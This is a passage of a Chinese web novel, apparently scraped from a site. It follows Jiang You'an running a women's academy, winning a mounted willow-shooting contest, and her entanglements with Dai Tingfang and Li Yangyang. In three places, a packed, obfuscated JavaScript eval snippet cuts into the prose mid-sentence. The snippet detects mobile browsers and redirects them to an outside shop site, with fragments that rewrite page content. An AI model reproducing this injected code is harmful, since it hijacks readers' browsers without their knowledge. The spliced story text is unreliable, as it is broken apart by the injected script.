“太好了。”姜佑安仿佛是看见了救星,站在唐佐身边高兴地说道:“大人,我起初只是想教附近的女人读读书、写写字,最近也不知是怎么了,接连有人把孩子遗弃在我家门口,现在这些孩子不光读书,吃住也在我这里,我实在是无力负担了,大人,您帮我想想办法吧。” 唐佐听了,有些为难地问道:“你是说你这里还接收了被遗弃的孩子?” “对啊,连不会走的孩子都有,这些孩子的父母是真狠心,好好的孩子,说不要就不要了。”姜佑安说道。 “大人,这些孩子本该送到县里育婴堂的,但姜院长心善,不忍心把孩子送出去,县里育婴堂近年来已经是名存实亡,大人不如把这部分经费拨出来给姜院长,让这些被遗弃的孩子能平安长大。”戴庭芳说道。 唐佐喝了一口茶,把茶杯放在桌上,“戴公子说得有理,我回去就查一下育婴堂的情况如何,如果有多余的经费,就拨给姜院长。” “大人,我这女子书院你也看到了,最近学生越来越多,桌椅多是拼凑的,连必须的文房四宝都不够用,大人能不能给我们女子书院也拨点款?”姜佑安诚恳地问道。 “这……”唐佐有些犹豫,“在教育方面的钱,我们只能给县学和崇正书院,给女子书院,怕是不太合规矩。” “不合规矩的事,我也不好强迫大人。”姜佑安想了想,又提议道:“大人若是自己不好下决定,可以请示知州大人,知州大人同意了,是不是就没问题了。” 唐佐的嘴角抽搐了一下,又露出了浅笑,“姜院长说得有理,回去我会向知州大人请示的。” “谢谢大人!”姜佑安笑着给唐佐添了茶,“我正愁着这一大家子人,不知道还能不能活下去,唐大人就来了,真是帮了我的大忙了。” “我也是临时起意,才想到来这里看看,没想到姜院长会遇到这样的困境。”唐佐客气地说道。 三人又说了会儿话,姜佑安留唐佐吃了午饭再走,唐佐以公事为由推辞了,姜佑安和戴庭芳送唐佐出了院门,临上马车前,唐佐向戴庭芳说道:“以戴公子的才学,在这里给孩子启蒙,实属大材小用,我愿举荐公子入县学教书,不知公子可愿意?” 戴庭芳看了姜佑安一眼,行礼回道:“多谢大人好意,县学里名师如云,不缺我一个,但这里的学生,只有我一个老师,我不能离开这里。” “既然如此,那我也就不强求了。”唐佐向两人告别,上了马车,扬尘而去。 “唐大人的气质风度,和贾濂截然不同,他如此重视教育,以后一定会大力支持女子书院的。”戴庭芳高兴地说道。 姜佑安微微一笑,“是啊,有知县大人的支持,我也就安心了。” 自唐佐走后,姜佑安和戴庭芳一直在等着他的拨款,但左等也不来,右等也不来,姜佑安坐不住了,去县衙问唐佐是怎么回事。 唐佐把他的下属都叫过来,姜佑安开设女子书院,收养弃婴,做的是天大的好事,县里对于这种行为要提倡、要褒奖,衙门各处都要给姜佑安提供方便,只是县里暂时没钱,等有了钱,马上就拨给姜佑安。 见唐佐确实有难处,姜佑安也只好作罢,之后姜佑安和戴庭芳又去了县衙一趟,唐佐一直宣扬他对女子书院的重视,就是不见他掏出一个铜板。 姜佑安和戴庭芳都明白了,唐佐这个人是口惠而实不至,重视女子书院只是唐佐打造自己良好官声的手段,他不会给女子书院提供任何帮助。 姜佑安死了心,就不再去县衙了,转而去找县里富户和乡绅,有几家做生意的给她捐了些钱,但乡绅们都觉得让女人读书没有用,要是能招收男孩,他们就愿意捐钱捐地,姜佑安失望而归。 龙世蓉近日来悠闲了不少,来园子里继续办起了女子弓箭社的活动,学生之中也有很多感兴趣的,上午读书写字,下午去园子里拉弓射箭,龙世蓉见姜佑安没来射箭,去找她,才知道了她当下的困境,当即拿了二十两银子给她应急。 钟二娘很在意这些孩子,在和姜佑安商量过后,她把家里的房子卖了,买了些粮食和衣料,搬进了后罩房里住,读书之余,照顾这些孩子的衣食,张慈和郭英也常过来一起帮着做衣做鞋。 有了戴庭芳、龙世蓉和钟二娘的帮忙,总算是解了姜佑安的燃眉之急,但这样四处筹钱,也不是长久之计,还是得想办法多赚些钱。 山下的花田里都种上了花木,姜佑安见菊花和虞美人已经出了苗,推着板车去了县里,买了一批花盆回来,放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346461|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到园子里,和学生们一起种上了菊花和虞美人,悉心照料着,希望能开出珍奇的花来。 袁竹要了几个花盆去,说她房里还有几盆去年的菊花,要花盆留着扦插用,姜佑安就直接给了她。 每天一早,姜佑安和袁竹一起出门卖花,一个挑担子,一个推车,进了城门就分开行动,一个往东一个往西,下午袁竹去花田里干活,姜佑安去园子里和社员一起联系射箭,每天忙忙碌碌,日子过得格外快。 四月,院子里的蔷薇枝繁叶茂,遮起一片阴凉,花开后,香气四溢,蜜蜂们来往匆忙,学生们也喜欢得不得了,闲时都围过来看花。 吃过午饭,大家搬了椅子凳子,在蔷薇架下喝茶赏花,小孩子们在院子里嬉戏玩闹,姜佑安端着茶杯,走到了明媚的阳光下,看大缸里的荷花展叶,小鱼小虾在荷叶下游动。 “天气真好啊。”闻着花香,吹拂着清风,姜佑安不禁感叹道。 “佑安姐姐的主意真不错,这蔷薇种的真好。”阮荷夸赞道。 姜佑安仰头看着架上的蔷薇,“春日蔷薇是最有情致的了,只可惜这花都是红的,俗气了些。” “你觉得什么颜色好?”戴庭芳问道。 “黄色重瓣的最好,不会过分热闹,也不会过分单薄。”姜佑安答道。 “花有什么俗不俗的,都是你自己乱想,红花多好看啊,黄花贵,我买不起,我看你就是喜欢贵的,不喜欢便宜的。”袁竹不满地说道。 姜佑安撇了撇嘴,“你还要管我怎么想?” “丝瓜是黄花,你不喜欢,我按你的要求种了蔷薇,你还不满意,我管你喜不喜欢,想要别的花,你就自己种去。”袁竹说道。 “对啊,这花能开得这么好,都是袁姐姐在修枝、捆扎和施肥,姜姐姐,你就别挑三拣四的了。”李长风说道。 姜佑安呵呵一笑,“长风啊,你真是成了袁家人了,现在都向着袁竹,不向着我了。” 杨恩也轻声笑了,“长风是帮理不帮亲。” “佑安姐姐不也是袁家人吗?”阮荷说道。 “说得也是,在这里的都是袁家人。”姜佑安说着看向了戴庭芳,“不如戴老师也加入我们袁家吧。” “你这话是何意?”戴庭芳不动声色地问道。 “你来这里教书,早上来晚上走,奔波劳累,不如就在这里住下,倒座房还是西厢房,随你选,大家同吃同住,岂不方便?”姜佑安笑着说道。 阮荷也表示赞同,“佑安姐姐说的是,平日是天气好就算了,有时大风大雨的,表哥还要赶回县里去,真不如就在这里住下,等天气好了再回去。” “我,考虑考虑。”戴庭芳端起茶杯,小口喝着茶。 “姜院长呢?”还没见到人,姜佑安就听到龙世蓉的声音从二门外传来,忙迎了过去,“我在这呢,今天怎么来得这么早?” 龙世蓉快步跨进了二门,高兴地抓住了姜佑安的胳膊,“你听说了吗?知县大人要在端午节举办射柳比赛!” “没听说。”姜佑安摇了摇头,“端午节射柳也是常有的,你这么激动做什么?” “听说知县大人要借此机会,选拔武艺超群的人才向上举荐,若是赢了比赛,光赏银就有一百两,你要不要去参加?”龙世蓉问道。 93. 端午 “一百两?”袁竹站起身来,“那可真是一大笔钱,姜佑安,你抓紧练习,去把这钱赢回来吧!” “一百两可是够花一阵子了。”姜佑安也来了兴趣,向龙世蓉问道:“比赛怎么参加?” “你跟我走吧。”龙世蓉拉着姜佑安就往外走,姜佑安向一旁站着的女孩子伸出手,女孩子接过了她手上的茶杯,两人消失在了二门外。 “射柳是什么?”阮荷问道。 戴庭芳闻言,向大家讲起去年姜佑安在锦标社跟黎千秋比赛射柳,赢下了三只鸽子的事,大家听了,都对今年的射柳比赛格外期待。 下午姜佑安回来之后,大家都围上去,问她比赛什么时候开始,姜佑安却说她没有去报名参赛,问她是因为什么,她也不肯说。 见姜佑安一个人坐在蔷薇架下闷闷不乐,戴庭芳轻轻走过去,坐在了她身旁,“知县不许你参加射柳比赛吗?” “一开始他是不许,说射柳比赛从没有女人参加的先例,不过,我和世蓉据理力争,他就同意我们参加了。”姜佑安说道。 “那你为什么没有报名?”戴庭芳问道。 姜佑安靠在椅背上,抬头看着蔷薇架上随风摆动的枝叶,“知县说他要邀请知州过来观赛,我要是在射柳比赛上抛头露面,肯定会被王大人看见,他要是认出我来了,可就麻烦了。” “你的婚约还不知道解除了没,这确实是个问题。”戴庭芳静静地看着姜佑安的侧脸,“弓箭社里有没有谁练得比较好的,能替你去参赛?” “周帛和许家莺的射术都还不错,不过,要想赢锦标社的人,还是有些难。”提到锦标社,姜佑安就想起了黎泱泱,“要是能让黎泱泱代替我参赛就好了。” “黎公子肯定要代表锦标社参赛的。”戴庭芳暗暗有些失落,“要是我也从小练习射箭就好了。” 姜佑安转头看向戴庭芳,视线停留在他白皙的脸颊上,“练射箭会变黑的,你还是皮肤白些更好看。” “你和黎公子都能晒黑,我怎么就不能?”戴庭芳说道。 姜佑安坐直了身子,转向和戴庭芳面对面,“我和黎泱泱,谁的皮肤更黑一些?” 戴庭芳看了她一眼,就垂下了眼帘,“还是黎公子更黑一些,你在意这个?村里的妇女,皮肤都比较黑,皮肤黑些也没什么吧。” “黑不黑的,我不在意,我刚离开京城的时候,皮肤还是白的。”姜佑安说着说着,突然眼睛一亮,又把脸往戴庭芳面前凑了凑,“你看我能不能扮成个男的?” 戴庭芳身子微微后仰,“应该可以吧。” “那太好了!”姜佑安高兴地从椅子上站了起来,“我皮肤晒黑了,换上男装,再梳一个男式发髻,王大人肯定认不出来。” 看着姜佑安高兴的样子,戴庭芳也不自觉地露出了笑容,他站起身来,向姜佑安身旁走近了一步,“我看可行。” “是吧!”姜佑安激动地抓住了戴庭芳的胳膊,“我这就去县里报名,等下袁竹回来了,你替我跟她说一声。” “哦,好。”戴庭芳觉得两人距离过近,刚想往后退,姜佑安就松开了他,大步走出了二门。 戴庭芳站在蔷薇架下,呆愣了片刻,才缓缓挪步,往学堂去了。 去县里报了名,姜佑安就找身高相仿的杨恩借来男装穿,扎上了她擅长的男式发髻,在院子里阔步而走,在园子里张弓射箭,当真是英姿飒爽。 杨恩借给她的是袁竹和阮荷过年时给他做的新衣服,他十分爱惜,让姜佑安穿时多注意些,不要挂坏了,姜佑安听了心有顾虑,觉得这样不能安心练箭,就把衣服还给了他。 戴庭芳知道后,送了两套自己的衣服给姜佑安,说是穿旧了的衣服,让姜佑安随意穿,弄坏了也不必在意。 姜佑安得了戴庭芳的衣服,十分高兴,让阮荷帮忙改短了些许,日日穿着去练箭。 转眼到了四月底,马上到收小麦的季节了,姜佑安决定给女子书院放五月一整个月的假,有家回的就回家,没处去的就在书院待着。 姜佑安坚持每日练箭,她给周帛和许家莺也报了名,五月初一,县衙内举办了一场普通的射箭比赛,三个人都轻松地赢了比试,等着初五的射柳比赛。 姜佑安给周帛和许家莺讲解了射柳的各种形式和规则,在园子里的一棵柳树上挂了个靶子,让她们也一起练习,能不能赢不重要,关键是要锻炼一下在众目睽睽之下拉弓射箭的勇气。 射柳比赛的前一天,龙世蓉来找姜佑安,把她叫了出去,直到天黑才把她送回来。 端午节当天,吃过早饭后,袁竹在大门上挂了艾草和菖蒲,阮荷把包粽子用的糯米和粽叶都泡上,钟二娘和姜白凤给每个孩子额间都点了朱砂、带上了五彩绳,杨恩和李长风制作了辟邪蕃悬挂在二门上,姜佑安穿上袍服,带着弓箭,领着六七个孩子,高高兴兴地出门了。 村里也有不少要去观看射柳比赛的,大人孩子都聚集过来,一行人走到城门附近时,队伍人数已经相当可观了。 城门外,台子已经搭好,上面挂着些五彩旗幡,不少拿着弓箭的人站在台子附近,周边有很多围观的人,大人们互相攀谈,孩子们则互相追逐嬉闹,路边还有一些摆摊卖五彩绳、驱邪香包和各种吃食的。 袁竹没想到射柳会吸引来这么多人,直后悔没剪了花来买,杨恩说他可以现在回去剪,袁竹见知县还没来,射柳应该也不至于那么快结束,于是和杨恩一起回了家,剪了栀子、月季、玫瑰、紫薇花,挑着担子去卖花。 等袁竹和杨恩到了城门外,知县已经来了,比赛也已经比完了一轮,袁竹把担子放下,快步走到阮荷身边,问比赛谁赢谁输了。 “家莺姐姐输了,周帛和佑安姐姐赢了。”阮荷说道。 袁竹向场内张望,寻找着姜佑安和周帛的身影,“周帛这孩子挺厉害啊,平时看她不声不响的,还能赢得了这么多男人。” “你没去看过周帛射箭,她一直很厉害的,佑安姐姐都夸她有天赋。”阮荷一边说,一边紧紧盯着姜佑安的背影。 台上有人吆喝,黎泱泱、姜佑安、长孙同、项蒙、左辛树五人进入决赛。 “姜佑安赢了?怎么没见有鸽子?”袁竹问道。 “赢了,可惜周帛输了。”阮荷往左前方看去,龙世蓉和许家莺正招呼落败的周帛过去,又转头往场内看,柳树下葫芦碎了一地,有人快速地爬上去,正在挂下一轮的葫芦,“前面挂的都是空葫芦,下一轮才有鸽子。” 袁竹向台上看去,台子两侧挂着辟邪幡,中间的桌子上放着一个托盘,托盘上放着时锭银子,桌子旁的椅子上端坐着两个人,并不见知州王世镜。 “来的怎么只有知县和县丞?知州大人没来吗?”袁竹问道。 “知州大人可能是不来了,知县大人来了之后,宣布了比赛奖品,就直接开始比赛了。”阮荷答道。 姜佑安回过头来,向袁竹和阮荷挥手,阮荷和袁竹也赶忙挥手,为她鼓劲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361053|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “赢了比赛,除了一百两银子,还有别的吗?”袁竹问道。 “那托盘里还有一只春幡簪子,知县大人说是以前在京城时,皇上赏赐的,谁赢了比赛,他就把那支簪子赏给谁。”阮荷说道。 看不清托盘里还有什么,袁竹踮着脚张望,“皇上赏赐的,应该挺值钱的吧。” “应该是。”阮荷说道。 场内一声哨响,五人箭羽齐发,葫芦碎裂,鸽子展翅不久就跌扑坠地。 每人不过三支箭,胜负就已分分明。 台上又有人吆喝:“黎泱泱、项蒙、姜佑安,各射中三只鸽子,进入决赛!” “知县大人!射中的鸽子,我能带回去吗?”姜佑安高声问道。 唐佐微笑着点了点头,台上便有人吆喝鸽子可以带回去。 姜佑安马上跑过去,把属于自己的三只鸽子拿回去,递给了袁竹和阮荷,袁竹拿过鸽子,转身去找杨恩,见杨恩在路边卖花,就把鸽子拿给他看着,路人见了,纷纷过去围观。 “那射箭的小哥是你家的?” “箭术真是了得啊!” “有那么厉害的人,你们怎么还在做卖花的生意?” 袁竹怕错过了接下来的比赛,只是笑笑,不理会众人,转身又扎进了人群中,来到阮荷身边时,见阮荷神情十分紧张。 “怎么了?姜佑安输了吗?”袁竹问道。 阮荷皱起了眉头,“没有,不过,刚刚知县大人说最后一轮比赛要改改规则,不射葫芦了,改射柳枝。” “射柳枝?”袁竹十分不解,“柳枝怎么射?这到底是什么意思?” 场地上有人去柳树上折了三根柳枝,在场地中间浇了些水,把三根柳枝插在地上,又有人在台上高声宣布: “本轮比赛为骑马射柳,参赛人员从南边跑马而来,射中柳枝,柳枝折断记一分,每人限射十支箭,折断柳枝多者为胜,请黎泱泱上马做好准备,项蒙和姜佑安暂且在场地边缘等待。” “骑马?”场地边的袁家人都大吃一惊,却见黎泱泱已经骑上了马,在场地边缘来回踱步。 “怎么还要骑马?他们给准备吗?”袁竹问道。 “没说给准备马,看来是参赛的人自己带过来的,这可怎么办?之前也没说要骑马啊,佑安姐姐没有马,是不是没办法参加比赛了?”阮荷说道。 “之前都没说过,现在突然要骑马,明知道我们没有马,这不是为难姜佑安吗?”袁竹生气地说道。 阮荷看着人群,突然发现姜佑安不见了,“佑安姐姐呢,她怎么走了?” “没有马,根本没办法参加吧,她那个脾气,先让她自己冷静一会儿吧,等会儿再过去找她。”袁竹说道。 这边正说着话,那边黎泱泱已经驱马前来,嗖嗖嗖嗖嗖,射完了十支箭,柳枝折断了两枝,马上又有人换上了一枝新的。 接着项蒙骑马上场,马的速度慢了许多,他尽力稳住弓箭,却也只射断了一条柳枝。 换上了新柳枝之后,台上有人吆喝道:“姜佑安在哪儿?再不出现,就当你弃权了!” “姜佑安没有马,还怎么参加?这太不公平了!”袁竹气愤地大喊道。 “那就没办法了,本场射柳比赛,获胜者为黎……”台上人正在宣布,南侧的人群突然分开,有人大喊一声,“姜佑安来了!” 众人纷纷转头看过去,只见空出的场地上,姜佑安骑着一匹高头大马,从人群中走了出来。 94. 凯旋 “是佑安姐姐,她有马!”阮荷高兴地呼喊道。 袁竹也高兴地笑了,“她还真有办法,竟然能弄到马!” 众人的目光都聚集在了姜佑安身上,只见她策马向前,一阵风似得疾驰而过,掀起一阵尘土,还没看清射没射中,台上便有人高呼,“姜佑安射断了三枝!姜佑安获胜!” 尘埃落定,果然看见三枝柳枝都已折断,台下爆发出一阵热烈的欢呼,姜佑安勒马停住,便有人过来帮她牵住了马,让她上台去领赏。 姜佑安下了马,整了整衣袍,向袁竹她们挥了挥手,便大步走上了看台,唐思恭把银子端给她,唐佐把一支金色的春幡放在了姜佑安的手上。 唐佐又说了些希望女子书院好好的发展之类的冠冕堂皇的废话,让姜佑安很是不耐烦,她勉强应了几句,道了谢,就拿着银子下了台。 众目睽睽之下,姜佑安走到袁竹面前,把银子交给她收好,转头往北看,锁定了戴庭芳的位置,她脸上带着微笑,向戴庭芳走了过去。 戴庭芳见她赢了,也十分高兴,正想去跟她道喜,见她走来,忙迎了上去,“没想到你还会骑射,真是太厉害了!” “你把头低下来。”姜佑安说道。 戴庭芳不太明白她是什么意思,却也听从地微微低下头,姜佑安扶着他的发髻,把手中的春幡插在了他的发髻上。 戴庭芳抬起头来,看到明媚的阳光挥洒在姜佑安的脸上,她的笑脸如春日的阳光一般灿烂,“这春幡跟你很相配,明年立春,你就戴这个吧。” “这两人是在定情吗?” “说什么呢?这是两个公子!” “你眼瞎啊!骑马的分明是个姑娘。” “姑娘?是个姑娘赢走了那一百两?” “你不认识她?她就是在李家村附近开女子书院的姜院长,这一百两给她,可真是做善事了。” “哦,原来就是她啊,我听说过,这个人真是不同寻常,不过,旁边那位公子是谁?” “那就是崇正书院戴院长的公子啊!” “哈哈,原来都是开书院的,这两个人可真是般配!” 戴庭芳感觉自己的心跳声和四周的议论声一样大,“姜院长,你这是什么意思?” 姜佑安开心地笑着,“赢了比赛我高兴,这个送给你了。” “不会是定情信物吧?”黎泱泱不知道什么时候走了过来,在一旁起哄道。 “你别乱说,戴老师脸皮薄得很。”姜佑安说道。 “最后一轮比赛骑射,可是我告诉龙世蓉的,你要送,也该是送我吧。”黎泱泱说道。 姜佑安白了他一眼,“比赛内容本就该是公开透明的,你们在背地里算计我,还要我感谢你?” “那你总该感谢我吧,马和练习骑射的场地,可都是我给你提供的。”龙世蓉凑过来说道。 姜佑安走过去,一把将龙世蓉抱在怀里,“是该谢谢你,太感谢了,这一百两,够我们花一阵子了。” 龙世蓉有些尴尬地笑了笑,向许家莺说道:“她这么坦率,真是让我不习惯。” “姜院长是太需要这笔钱了。”许家莺说道。 见人群已经四散开来,袁竹让阮荷把银子装好,对大家说道,“今天都去我们家过节吧,我去买菜,你们先回去吧。” 姜佑安让李长风跟着袁竹,龙世蓉让小厮把马牵回,杨恩收起卖花摊,周帛拎着鸽子,一行人便往袁家去了。 张慈、李初五、郭英也都来了,众人把糯米和粽叶搬到院子里,热热闹闹地包起了粽子。 做为赢了射柳的大功臣,袁竹特许姜佑安今天一天不用干活,她坐在蔷薇架下,喝着茶,听着热闹的说话声,看着戴庭芳头上的皇上赏赐的春幡,真觉得恍如隔世。 没想到在这远离京城的地方,还能接触到皇家的东西,从她出逃到现在已经将近两年了,不知道她的父亲母亲现在怎么样了,她的朋友们是不是都嫁人了。 戴庭芳在跟阮荷学着包粽子,小心地捆扎了一个粽子后,他坐在小板凳上,直起了腰,不经意间,看到姜佑安正怔怔地看着他,他忙低下头,脸悄悄地红了。 姜佑安回过神来,见戴庭芳的脸色白里透红,以为是太阳晒得,出声招呼他:“戴老师,你过来坐吧,一直在太阳下,别晒晕了。” “你什么意思啊?我们谁不是在太阳底下晒着,你怎么就招呼戴老师过去?”龙世蓉抗议道。 “就是,姜院长怎么只心疼戴老师,都不心疼心疼我们啊?”郭英说道。 “戴老师可是我们书院唯一的老师,我当然得心疼他,你们皮糙肉厚的,比戴老师可经晒多了。”姜佑安笑着说道。 戴庭芳低着头,连耳朵都红了。 “姜院长偏心!” “姜院长,我们也怕晒!” “姜院长,你也心疼心疼我们吧。” 孩子们和大人一起闹了起来,姜佑安好笑地从蔷薇架下挪了出来,“那你们都挪到蔷薇架下来,我出来,这样好了吧。” “我看行!”龙世蓉说着,指挥大家挪进了蔷薇架下,有茂盛的枝叶遮阴,一时间,众人都觉得凉快了不少。 人多干活快,袁竹买菜还没回来,粽子就已经全包好下锅了,小孩子们在院子里玩,等着粽子熟,大点的孩子跟着钟二娘一起去后院做午饭去了。 黎泱泱把姜佑安叫了出去,两人在院门口说话。 “你穿男装挺精神的。”黎泱泱看着姜佑安说道。 “这身衣服是戴老师借给我的,不错吧。”姜佑安抖了抖衣襟,展示她的衣服。 黎泱泱随意地靠在院墙上,扬唇一笑,“怪不得你要把那支春幡簪子送给他。” “这么耿耿于怀?你要是想要,我再去买一个送你。”姜佑安笑着说道。 “我没那么想要,只是看你把簪子插在他头上时,一个是意气风发的少年,一个是气质翩翩的书生,真如同一对壁人,很相配。”黎泱泱轻声说道,像是发出了一声叹息。 姜佑安走到黎泱泱面前,抬头看着他的眼睛,“我跟黎公子这样的武夫也很相配。” “你说的是认真的?”黎泱泱问道。 “当然,之前要不是你说我们两清了,我肯定会经常去弓箭铺找你的。”姜佑安说道。 黎泱泱眼角有淡淡的笑意,“我很少见到像你这么坦荡的人。” “人活一世,我只求问心无悔。”姜佑安伸手搭在黎泱泱的腰上,笑着问道:“你爹又和知县勾结算计我,让我差点错失一百两,你打算怎么补偿我?” 黎泱泱低头看着姜佑安的手,“我主动联系龙世蓉,让她给你找场地训练,还不算补偿?” 姜佑安的手上微微用力,“你跟龙世蓉什么时候关系变得这么要好了?” “我们都是生意人,和气生财,没必要是彼此为仇敌。”黎泱泱伸手抓住了姜佑安的手腕,“你想要我做什么?” 姜佑安握住了黎泱泱的手,微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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黎泱泱皱起了眉头,“你是说,要我去做面首?” 姜佑安的手指轻轻移到了他的唇上,“面首固然是最差的选择,但胜在轻松,不是吗?” “那也不过是把掌控我的人,从我爹换成另一个女人罢了。”黎泱泱握住了姜佑安的手指,“你是把我看做面首了吗?” “男欢女爱,我只要尽兴就好,是不是面首,有那么重要吗?”姜佑安无所谓地说道。 黎泱泱有些生气了,“你不是说喜欢我吗?你不打算跟我成婚?” “暂时没这个打算,我还有这一大家子需要照顾,走不开,而且,我也不想嫁到别人家去。”姜佑安说道。 黎泱泱松开了姜佑安的手,叹了口气,“我早该想到的。” “早该想到什么?”姜佑安奇怪地问道。 “我早该想到,你不是会踏实过日子的人。”黎泱泱说道。 姜佑安理了理自己的衣服,“你也不是会踏实过日子的人吧,难道你不能理解我?” “我不能。”黎泱泱去牵了马,翻身骑上去,“你只当我今天没来过吧。”说完便策马而去。 正巧袁竹买菜回来,向姜佑安问道:“黎公子怎么走了?” 姜佑安耸了耸肩,“谁知道呢,也许是我惹他生气了吧。” “你肯定是又说了些不知轻重的话,什么时候才能改改。”袁竹拎着肉和菜往院门走去,发现戴庭芳站在门槛内,“戴老师,你在这里做什么?” 95. 花瓶 “戴老师?你怎么出来了?”姜佑安也走过去问道。 “没什么,我就是出来走动走动。”戴庭芳说完,转身回了院里。 “我看戴老师的脸色也不太好,你不是又惹他了吧?”袁竹说道。 “这你可冤枉我了,刚才包粽子的时候,我看他在太阳底下坐着,脸都晒红了,还让他挪到阴凉底下坐呢,学生们都说我是心疼戴老师了,就你以为我招惹他了。”姜佑安说着,接过了她手中的肉。 “没惹戴老师就好。”袁竹乐呵呵地进了门,“今天买的肉多,给孩子们解解馋。” 姜佑安跟着袁竹进了厨房,“钟二娘正在后院给孩子们做饭呢,我去跟她说一声,让她少做些,让孩子们都过来一块吃。” “行,你去吧。”袁竹把菜放在地上,阮荷过来把姜佑安手中的肉接了过去。 姜佑安去跟钟二娘打过了招呼,钟二娘说前院锅里在煮粽子,让把菜都拿到后院去做,大家又一起帮忙,挪去了后院。 饭菜做好了,众人把吃饭的桌子移到了蔷薇架下,钟二娘、阮荷和姜白凤把后院厨房里做的菜都端上了桌,炒肉、滑肉、炸肉都有,孩子们都吃的嘴唇上冒油光。 饭吃得差不多了,粽子也熟了,袁竹用瓦盆盛了粽子来,又拿来一个盘子倒了白糖放在桌上,让大家蘸着糖吃粽子,能吃的挑了大的,吃不了太多的拿了小的,都蘸了白糖,嘎吱嘎吱地嚼着。 吃饭的人多,乱哄哄的,此时大家都安静地吃着粽子,姜佑安才发现戴庭芳不见了,问了阮荷才知道,他已经悄悄回家去了。 特意去看比赛,还来了这里包粽子,怎么不吃饭就回去了?现在书院放假了,接下来要有二十多天见不到戴庭芳了,姜佑安觉得有些可惜。 吃过午饭,孩子们收拾了东西,跟杨恩一起去厨房刷碗,龙世蓉家的仆人驾着马车来接她,她便要带着许家莺和周帛回去了,姜佑安和袁竹送她们出了门。 龙世蓉从马车上拿下来两个花瓶来,说是袁竹天天给她店里送花,不插瓶很快就枯萎了,为了那些花,她买了好几个花瓶,多余了两个,送给她们两人插花用。 姜佑安和袁竹笑着收下了,送别了三人,把花瓶拿到了主屋中堂下的桌子上,再看早上剪的那些花,没有插到花瓶里,果然都枯萎了,姜佑安又拿着花剪去园子里,剪些花去插瓶。 孩子们见了,觉得好玩,也跟在她身后,随着她在院子里转悠,剪了合适的花,就一个传一个地送到屋里,插进花瓶里,孩子们来回奔走,像做游戏一样,高兴得不得了。 花瓶里灌了水,第二天起来看时,花还如昨日刚插进去时一般,阮荷不禁感叹,要是头上插的话也能像花瓶里花一样,开这么长时间就好了。 听了阮荷的话,姜佑安和袁竹都若有所思的样子。 沉思了半晌,姜佑安起身去花瓶里折了一朵木槿,插在头上,向外走去,“我去县里一趟,中午不用等我回来吃饭了。” “你去县里做什么?”袁竹问道。 “找赚钱的法子去。”姜佑安的声音渐远,消失在了二门外。 “昨天刚赢了一百两,佑安姐姐怎么又急着去赚钱?”阮荷说道。 “咱们家里现在这么多人,真是花钱如流水,不多想些办法挣钱,恐怕到冬天就难了。”袁竹好似自言自语般说道:“是该想想别的赚钱的法子了。” “嗯。”阮荷点了点头。 姜佑安一走出院门,就见戴庭芳在门外站着,“戴老师?你放假不在家里休息,怎么到这里来了?” 没想到姜佑安会突然出现,戴庭芳心里一惊,有些结巴地回道:“我,我是,是来找阮荷的。” “找小阮啊?她在屋里呢,你进去吧。”姜佑安说着就往大路上走去。 “姜院长,你要去哪儿?”戴庭芳赶忙问道。 “我要去县里一趟。”姜佑安头也不回地说道。 戴庭芳快步跟了过去,“去县里做什么?” 姜佑安停下了脚步,奇怪地问道:“戴老师,你是找我有事吗?” “不,我没什么事。”戴庭芳低下了头,轻声问道:“知州大人没来,你也不用担心被认出来了,怎么还穿着男装?” 姜佑安笑了笑,“穿习惯了,你的这身衣服,我挺喜欢的,怎么,你还要要回去吗?” “不不。”戴庭芳摇了摇头,从怀里拿出那支春幡簪子来,“这个,我想还给你。” “为什么?”姜佑安问道。 “我昨天听到你和黎公子说话,他想要这个,你不是喜欢他吗?还是拿去送给他吧。”戴庭芳低着头说道。 姜佑安弯下腰,偏着头看向戴庭芳的眼睛,“你又偷听我说话。” 戴庭芳转动眼球,不去看她,“我不会是故意的。” 姜佑安直起身来,有些无奈地说道:“既然你都听见了,也该知道他拒绝了我,我还有什么理由送他东西?” 戴庭芳抬眼看向姜佑安,语气平和地说道:“他想娶你,是你不愿意。” 姜佑安笑了,“对,是我不愿意,那就更没有必要了。” “你既然喜欢他,为什么不愿意嫁给他?是因为他父亲吗?”戴庭芳问道。 “可能有这个原因吧,不过,更多的是,我目前还没有嫁人的打算。”姜佑安迈步向前走,“你去找小阮去吧,我还有事,等下次再说吧。” 戴庭芳跟在她身后,继续问道:“既然你们是两情相悦,为什么要这样放弃彼此呢?” “你这样一本正经的性子,我没法跟你解释。”姜佑安说道。 “为什么没法解释?只要你解释给我听,我想我会理解的。”戴庭芳锲而不舍地追问道。 “你真的想知道?”姜佑安停下脚步,转身看着戴庭芳。 戴庭芳认真地点了点头,“我想知道。” “为什么?”姜佑安问道。 戴庭芳有些回避姜佑安的眼神,他回头看了看不远处的宅院,“因为我们是一起办书院的朋友,作为朋友,我不希望你错失所爱。” “我喜欢他,和我喜欢你是一样的。”姜佑安上前一步,捧住了戴庭芳的脸,让他看着自己的眼睛,“你能明白我吗?” 